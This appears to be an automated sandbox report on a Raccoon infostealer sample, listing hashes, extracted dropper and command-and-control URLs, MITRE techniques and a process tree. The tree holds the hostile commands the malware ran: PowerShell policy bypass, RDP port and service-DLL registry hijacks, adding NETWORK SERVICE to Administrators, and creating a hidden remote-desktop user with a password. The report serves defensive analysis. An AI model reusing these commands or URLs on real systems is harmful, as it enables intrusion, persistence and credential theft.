raccoon | 2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54

Analysis

max time kernel
88s
max time network
152s
platform
windows10_x64
resource
win10v20210410
submitted
02-06-2021 18:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f13060a6789449453b7d4a4b815cc80d.exe
Size

567KB
MD5

f13060a6789449453b7d4a4b815cc80d
SHA1

77d3b0a202710d93c660aca624a63a97811b8f9e
SHA256

2b9b67b6e376ed8db68a8b219209981c865a2a26a4c4cd926b79cf2fddb57d54
SHA512

78ed128be390ff896fb83b4cac8b30db20258f985d8f86d61f64da19cbd0bd8e2891a46fbdee1ad09e6d99fda697dfb12650deb1c628979b3a4133c438313b55

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
20	3872	powershell.exe
23	3872	powershell.exe
24	3872	powershell.exe
25	3872	powershell.exe
27	3872	powershell.exe
29	3872	powershell.exe
31	3872	powershell.exe
33	3872	powershell.exe
35	3872	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2128	ZyKUG6PQzM.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0009000000000681-230.dat	upx
behavioral2/files/0x0008000000015518-231.dat	upx

Loads dropped DLL 3 IoCs

pid	Process
4048	f13060a6789449453b7d4a4b815cc80d.exe
3636	Process not Found
3636	Process not Found

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI799A.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI79EC.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_2g55yrqt.z5h.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI79BB.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI79CB.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_nehj2dc3.eot.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI79FC.tmp	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3408	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3652	reg.exe

Runs net.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
2984	powershell.exe
2984	powershell.exe
2984	powershell.exe
3936	powershell.exe
3936	powershell.exe
3936	powershell.exe
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
3872	powershell.exe
3872	powershell.exe
3872	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
624	Process not Found
624	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeIncreaseQuotaPrivilege	2416	powershell.exe
Token: SeSecurityPrivilege	2416	powershell.exe
Token: SeTakeOwnershipPrivilege	2416	powershell.exe
Token: SeLoadDriverPrivilege	2416	powershell.exe
Token: SeSystemProfilePrivilege	2416	powershell.exe
Token: SeSystemtimePrivilege	2416	powershell.exe
Token: SeProfSingleProcessPrivilege	2416	powershell.exe
Token: SeIncBasePriorityPrivilege	2416	powershell.exe
Token: SeCreatePagefilePrivilege	2416	powershell.exe
Token: SeBackupPrivilege	2416	powershell.exe
Token: SeRestorePrivilege	2416	powershell.exe
Token: SeShutdownPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeSystemEnvironmentPrivilege	2416	powershell.exe
Token: SeRemoteShutdownPrivilege	2416	powershell.exe
Token: SeUndockPrivilege	2416	powershell.exe
Token: SeManageVolumePrivilege	2416	powershell.exe
Token: 33	2416	powershell.exe
Token: 34	2416	powershell.exe
Token: 35	2416	powershell.exe
Token: 36	2416	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeIncreaseQuotaPrivilege	2984	powershell.exe
Token: SeSecurityPrivilege	2984	powershell.exe
Token: SeTakeOwnershipPrivilege	2984	powershell.exe
Token: SeLoadDriverPrivilege	2984	powershell.exe
Token: SeSystemProfilePrivilege	2984	powershell.exe
Token: SeSystemtimePrivilege	2984	powershell.exe
Token: SeProfSingleProcessPrivilege	2984	powershell.exe
Token: SeIncBasePriorityPrivilege	2984	powershell.exe
Token: SeCreatePagefilePrivilege	2984	powershell.exe
Token: SeBackupPrivilege	2984	powershell.exe
Token: SeRestorePrivilege	2984	powershell.exe
Token: SeShutdownPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeSystemEnvironmentPrivilege	2984	powershell.exe
Token: SeRemoteShutdownPrivilege	2984	powershell.exe
Token: SeUndockPrivilege	2984	powershell.exe
Token: SeManageVolumePrivilege	2984	powershell.exe
Token: 33	2984	powershell.exe
Token: 34	2984	powershell.exe
Token: 35	2984	powershell.exe
Token: 36	2984	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeIncreaseQuotaPrivilege	3936	powershell.exe
Token: SeSecurityPrivilege	3936	powershell.exe
Token: SeTakeOwnershipPrivilege	3936	powershell.exe
Token: SeLoadDriverPrivilege	3936	powershell.exe
Token: SeSystemProfilePrivilege	3936	powershell.exe
Token: SeSystemtimePrivilege	3936	powershell.exe
Token: SeProfSingleProcessPrivilege	3936	powershell.exe
Token: SeIncBasePriorityPrivilege	3936	powershell.exe
Token: SeCreatePagefilePrivilege	3936	powershell.exe
Token: SeBackupPrivilege	3936	powershell.exe
Token: SeRestorePrivilege	3936	powershell.exe
Token: SeShutdownPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeSystemEnvironmentPrivilege	3936	powershell.exe
Token: SeRemoteShutdownPrivilege	3936	powershell.exe
Token: SeUndockPrivilege	3936	powershell.exe
Token: SeManageVolumePrivilege	3936	powershell.exe
Token: 33	3936	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4048 wrote to memory of 2128	4048	f13060a6789449453b7d4a4b815cc80d.exe	78
PID 4048 wrote to memory of 2128	4048	f13060a6789449453b7d4a4b815cc80d.exe	78
PID 4048 wrote to memory of 3744	4048	f13060a6789449453b7d4a4b815cc80d.exe	79
PID 4048 wrote to memory of 3744	4048	f13060a6789449453b7d4a4b815cc80d.exe	79
PID 4048 wrote to memory of 3744	4048	f13060a6789449453b7d4a4b815cc80d.exe	79
PID 3744 wrote to memory of 3408	3744	cmd.exe	81
PID 3744 wrote to memory of 3408	3744	cmd.exe	81
PID 3744 wrote to memory of 3408	3744	cmd.exe	81
PID 2128 wrote to memory of 2168	2128	ZyKUG6PQzM.exe	82
PID 2128 wrote to memory of 2168	2128	ZyKUG6PQzM.exe	82
PID 2168 wrote to memory of 3340	2168	powershell.exe	84
PID 2168 wrote to memory of 3340	2168	powershell.exe	84
PID 3340 wrote to memory of 1596	3340	csc.exe	85
PID 3340 wrote to memory of 1596	3340	csc.exe	85
PID 2168 wrote to memory of 2416	2168	powershell.exe	86
PID 2168 wrote to memory of 2416	2168	powershell.exe	86
PID 2168 wrote to memory of 2984	2168	powershell.exe	89
PID 2168 wrote to memory of 2984	2168	powershell.exe	89
PID 2168 wrote to memory of 3936	2168	powershell.exe	91
PID 2168 wrote to memory of 3936	2168	powershell.exe	91
PID 2168 wrote to memory of 2932	2168	powershell.exe	93
PID 2168 wrote to memory of 2932	2168	powershell.exe	93
PID 2168 wrote to memory of 3652	2168	powershell.exe	94
PID 2168 wrote to memory of 3652	2168	powershell.exe	94
PID 2168 wrote to memory of 3868	2168	powershell.exe	95
PID 2168 wrote to memory of 3868	2168	powershell.exe	95
PID 2168 wrote to memory of 3904	2168	powershell.exe	96
PID 2168 wrote to memory of 3904	2168	powershell.exe	96
PID 3904 wrote to memory of 3872	3904	net.exe	97
PID 3904 wrote to memory of 3872	3904	net.exe	97
PID 2168 wrote to memory of 1632	2168	powershell.exe	98
PID 2168 wrote to memory of 1632	2168	powershell.exe	98
PID 1632 wrote to memory of 1564	1632	cmd.exe	99
PID 1632 wrote to memory of 1564	1632	cmd.exe	99
PID 1564 wrote to memory of 3960	1564	cmd.exe	100
PID 1564 wrote to memory of 3960	1564	cmd.exe	100
PID 3960 wrote to memory of 2388	3960	net.exe	101
PID 3960 wrote to memory of 2388	3960	net.exe	101
PID 2168 wrote to memory of 4012	2168	powershell.exe	102
PID 2168 wrote to memory of 4012	2168	powershell.exe	102
PID 4012 wrote to memory of 1512	4012	cmd.exe	103
PID 4012 wrote to memory of 1512	4012	cmd.exe	103
PID 1512 wrote to memory of 3936	1512	cmd.exe	104
PID 1512 wrote to memory of 3936	1512	cmd.exe	104
PID 3936 wrote to memory of 1328	3936	net.exe	105
PID 3936 wrote to memory of 1328	3936	net.exe	105
PID 3896 wrote to memory of 3640	3896	cmd.exe	109
PID 3896 wrote to memory of 3640	3896	cmd.exe	109
PID 3640 wrote to memory of 1644	3640	net.exe	110
PID 3640 wrote to memory of 1644	3640	net.exe	110
PID 2024 wrote to memory of 1084	2024	cmd.exe	113
PID 2024 wrote to memory of 1084	2024	cmd.exe	113
PID 1084 wrote to memory of 3864	1084	net.exe	114
PID 1084 wrote to memory of 3864	1084	net.exe	114
PID 2408 wrote to memory of 3344	2408	cmd.exe	117
PID 2408 wrote to memory of 3344	2408	cmd.exe	117
PID 3344 wrote to memory of 3960	3344	net.exe	118
PID 3344 wrote to memory of 3960	3344	net.exe	118
PID 912 wrote to memory of 4076	912	cmd.exe	121
PID 912 wrote to memory of 4076	912	cmd.exe	121
PID 4076 wrote to memory of 184	4076	net.exe	122
PID 4076 wrote to memory of 184	4076	net.exe	122
PID 2864 wrote to memory of 3960	2864	cmd.exe	125
PID 2864 wrote to memory of 3960	2864	cmd.exe	125

C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe
"C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4048
- C:\Users\Admin\AppData\Local\Temp\ZyKUG6PQzM.exe
  "C:\Users\Admin\AppData\Local\Temp\ZyKUG6PQzM.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2168
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nj0rhsok\nj0rhsok.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3340
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4339.tmp" "c:\Users\Admin\AppData\Local\Temp\nj0rhsok\CSC4A9A379BCE29450F98C1A91E8A88D1F.TMP"
        5⤵
        
        PID:1596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3936
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:2932
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:3652
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:3868
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3904
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3872
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1632
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1564
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3960
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:2388
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4012
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1512
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3936
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1328
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:4312
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:4328
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\f13060a6789449453b7d4a4b815cc80d.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:3408

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1644

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc kYvjN912 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\system32\net.exe
  net.exe user wgautilacc kYvjN912 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc kYvjN912 /add
    3⤵
    PID:3864

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
